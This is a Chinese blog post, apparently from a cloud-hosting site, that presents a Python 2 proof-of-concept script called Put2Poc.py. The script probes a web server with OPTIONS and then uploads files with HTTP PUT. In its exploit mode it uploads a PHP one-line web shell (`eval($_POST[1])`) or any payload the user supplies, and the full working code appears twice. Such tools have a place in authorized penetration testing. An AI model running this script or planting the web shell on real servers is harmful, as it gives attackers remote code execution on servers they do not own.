溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

PUT上傳POC--Put2Poc.py

發(fā)布時(shí)間:2020-06-16 18:33:59 來源:網(wǎng)絡(luò) 閱讀:1703 作者:nw01f 欄目:安全技術(shù)

環(huán)境

Python 2.7 
    requests
    sys
Windows 7
Apache 已完成put配置。
PHP

Apache PUT配置

簡單介紹一下源碼,增加易讀性。

POC入口函數(shù),設(shè)置默認(rèn)變量,接受和判斷用戶輸入?yún)?shù)是否合法,調(diào)用探測是否存在不安全的HTTP方法函數(shù)Test2Option(url,YN),接受返回所支持的方法,調(diào)用PUT方法上傳文件。
def main():
    if len(sys.argv) < 2 :
        print u'''
    Version:1.0
    請輸入將要驗(yàn)證的URL(eg:Put2Poc.py http://test.com)
    Put2Poc.py arg1 arg2
    arg1:目標(biāo)URL
    arg2: 選擇(1)驗(yàn)證OR(2)利用(默認(rèn)為驗(yàn)證)
    arg3: 選擇上傳文件的目錄,默認(rèn)為/(eg:/test/)
    arg4: 設(shè)置長傳的文件的文件名,默認(rèn)為test.html
    arg5:設(shè)置特定的利用payload(默認(rèn)漏洞利用為:<?php @eval($_POST[1]) ?>)
    注:當(dāng)前版本僅支持PHP語言的利用'''
        sys.exit()
    if len(sys.argv) >= 2 :
        url = sys.argv[1]
        YN = 1
        path = '/'
        filename = 'test.html' 
        content = None
        # print url
        if 'http' not in url :
            print u'請輸入?yún)f(xié)議HTTP/HTTPS(eg:Put2Poc.py http://test.com)'
            sys.exit()
        if len(sys.argv) >= 3 :
            # print type(sys.argv[2])
            if sys.argv[2] in '2' :
                filename = 'test.php'
            if sys.argv[2] not in ['1','2'] :
                print u'輸入的設(shè)置有誤,請選擇正確的設(shè)置(1:驗(yàn)證|2:利用)'
                sys.exit()
            YN = sys.argv[2]
        if len(sys.argv) >= 4 :
            path = sys.argv[3]
        if len(sys.argv) >= 5 :
            filename = sys.argv[4]
        if len(sys.argv) >= 6 :
            content = sys.argv[5]
    if len(sys.argv) > 6 :
        print u'請檢查參數(shù)設(shè)置'
        sys.exit()
    r_options = Test2Option(url,YN)
    if content is not None :
        Put2File(url,YN,r_options,path,filename,content)
    else:
        Put2File(url,YN,r_options,path,filename)
    # print r_options
Error2status(code) 判斷請求的返回狀態(tài)。
參數(shù) code : 請求返回的狀態(tài)碼
def Error2status(code):
    if 400 <= code < 500:
        return 4
    if 500 <= code < 600 :
        return 5
    if 200 <= code < 400 :
        return True
Test2Option(url,YN)探測目標(biāo)URL是否支持OPTIONS方法
參數(shù) url : 請求的URL
參數(shù) YN : 選擇驗(yàn)證漏洞或者利用漏洞,默認(rèn)為驗(yàn)證。
def Test2Option(url,YN):
    try:
        r = requests.options(url,verify=False,timeout=10)
    except :
        print u'Error,請檢查鏈接是否可以訪問'
        sys.exit()
    r_options = r.headers
    r_status_code = Error2status(r.status_code)
    if r_status_code == 4 :
        print u'%s Client Error for url: %s' % (r.status_code,url)
        print u'該鏈接不支持OPTIONS方法'
        sys.exit()
    if r_status_code == 5 :
        print u'%s Server Error for url: %s' % (r.status_code,url)
        print u'請檢查鏈接是否可以訪問'
        sys.exit()
    if r_status_code is True :
        print u'該鏈接存在不安全的HTTP方法'
        print r_options['Allow']
        return r_options['Allow']
Put2File(url,YN,r_options,path,filename,content=None)
參數(shù) url : 測試的URL
參數(shù) YN : 選擇驗(yàn)證漏洞或者利用漏洞,默認(rèn)為驗(yàn)證。
參數(shù) r_options : 網(wǎng)站所支持的HTTP請求方法。
參數(shù) path : 文件上傳位置
參數(shù) filename : 文件名
參數(shù) content : 自定義文件內(nèi)容。
def Put2File(url,YN,r_options,path,filename,content=None):
    url = url.rstrip('/') + path + filename
    print url
    headers = {
    'Accept': '*/*',
    'Accept-Language': 'en-US',
    'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)'   
    }
    data = '<script>alert(1)</script>'
    if YN is '2':
        data = '<?php @eval($_POST[1]) ?>'
        if content is not None :
            data = content
    r = requests.put(url,headers=headers,data=data)
    r_status_code = Error2status(r.status_code)
    if r_status_code == 4 :
        print u'%s Client Error for url: %s' % (r.status_code,url)
        print u'服務(wù)器禁止上傳文件'
    if r_status_code == 5 :
        print u'%s Server Error for url: %s' % (r.status_code,url)
        print u'服務(wù)器禁止上傳文件'
    if r_status_code is True :
        print u'Server status code: %s' %(r.status_code)
        print u'服務(wù)器支持PUT文件上傳'
        print u'文件名: %s' %(filename)
        print u'文件內(nèi)容: %s' %(data)
        print u'文件長傳位置為: %s' %(path)
        print u'文件鏈接: %s' %(url)
        print r.content

POC

#/usr/bin/env python
#coding:utf-8
#
#Author:nw01f
#Date:2018.01.11
#Version:1.0
#

import requests
import sys

def Error2status(code):
    if 400 <= code < 500:
        return 4
    if 500 <= code < 600 :
        return 5
    if 200 <= code < 400 :
        return True

def Test2Option(url,YN):
    try:
        r = requests.options(url,verify=False,timeout=10)
    except :
        print u'Error,請檢查鏈接是否可以訪問'
        sys.exit()
    r_options = r.headers
    r_status_code = Error2status(r.status_code)
    if r_status_code == 4 :
        print u'%s Client Error for url: %s' % (r.status_code,url)
        print u'該鏈接不支持OPTIONS方法'
        sys.exit()
    if r_status_code == 5 :
        print u'%s Server Error for url: %s' % (r.status_code,url)
        print u'請檢查鏈接是否可以訪問'
        sys.exit()
    if r_status_code is True :
        print u'該鏈接存在不安全的HTTP方法'
        print r_options['Allow']
        return r_options['Allow']

def Put2File(url,YN,r_options,path,filename,content=None):
    url = url.rstrip('/') + path + filename
    print url
    headers = {
    'Accept': '*/*',
    'Accept-Language': 'en-US',
    'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)'   
    }
    data = '<script>alert(1)</script>'
    if YN is '2':
        data = '<?php @eval($_POST[1]) ?>'
        if content is not None :
            data = content
    r = requests.put(url,headers=headers,data=data)
    r_status_code = Error2status(r.status_code)
    if r_status_code == 4 :
        print u'%s Client Error for url: %s' % (r.status_code,url)
        print u'服務(wù)器禁止上傳文件'
    if r_status_code == 5 :
        print u'%s Server Error for url: %s' % (r.status_code,url)
        print u'服務(wù)器禁止上傳文件'
    if r_status_code is True :
        print u'Server status code: %s' %(r.status_code)
        print u'服務(wù)器支持PUT文件上傳'
        print u'文件名: %s' %(filename)
        print u'文件內(nèi)容: %s' %(data)
        print u'文件長傳位置為: %s' %(path)
        print u'文件鏈接: %s' %(url)
        print r.content

def main():
    if len(sys.argv) < 2 :
        print u'''
    Version:1.0
    請輸入將要驗(yàn)證的URL(eg:Put2Poc.py http://test.com)
    Put2Poc.py arg1 arg2
    arg1:目標(biāo)URL
    arg2: 選擇(1)驗(yàn)證OR(2)利用(默認(rèn)為驗(yàn)證)
    arg3: 選擇上傳文件的目錄,默認(rèn)為/(eg:/test/)
    arg4: 設(shè)置長傳的文件的文件名,默認(rèn)為test.html
    arg5:設(shè)置特定的利用payload(默認(rèn)漏洞利用為:<?php @eval($_POST[1]) ?>)
    注:當(dāng)前版本僅支持PHP語言的利用'''
        sys.exit()
    if len(sys.argv) >= 2 :
        url = sys.argv[1]
        YN = 1
        path = '/'
        filename = 'test.html' 
        content = None
        # print url
        if 'http' not in url :
            print u'請輸入?yún)f(xié)議HTTP/HTTPS(eg:Put2Poc.py http://test.com)'
            sys.exit()
        if len(sys.argv) >= 3 :
            # print type(sys.argv[2])
            if sys.argv[2] in '2' :
                filename = 'test.php'
            if sys.argv[2] not in ['1','2'] :
                print u'輸入的設(shè)置有誤,請選擇正確的設(shè)置(1:驗(yàn)證|2:利用)'
                sys.exit()
            YN = sys.argv[2]
        if len(sys.argv) >= 4 :
            path = sys.argv[3]
        if len(sys.argv) >= 5 :
            filename = sys.argv[4]
        if len(sys.argv) >= 6 :
            content = sys.argv[5]
    if len(sys.argv) > 6 :
        print u'請檢查參數(shù)設(shè)置'
        sys.exit()
    r_options = Test2Option(url,YN)
    if content is not None :
        Put2File(url,YN,r_options,path,filename,content)
    else:
        Put2File(url,YN,r_options,path,filename)
    # print r_options

if __name__ == '__main__':
    main()

注:歡迎指正和提出修改意見。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI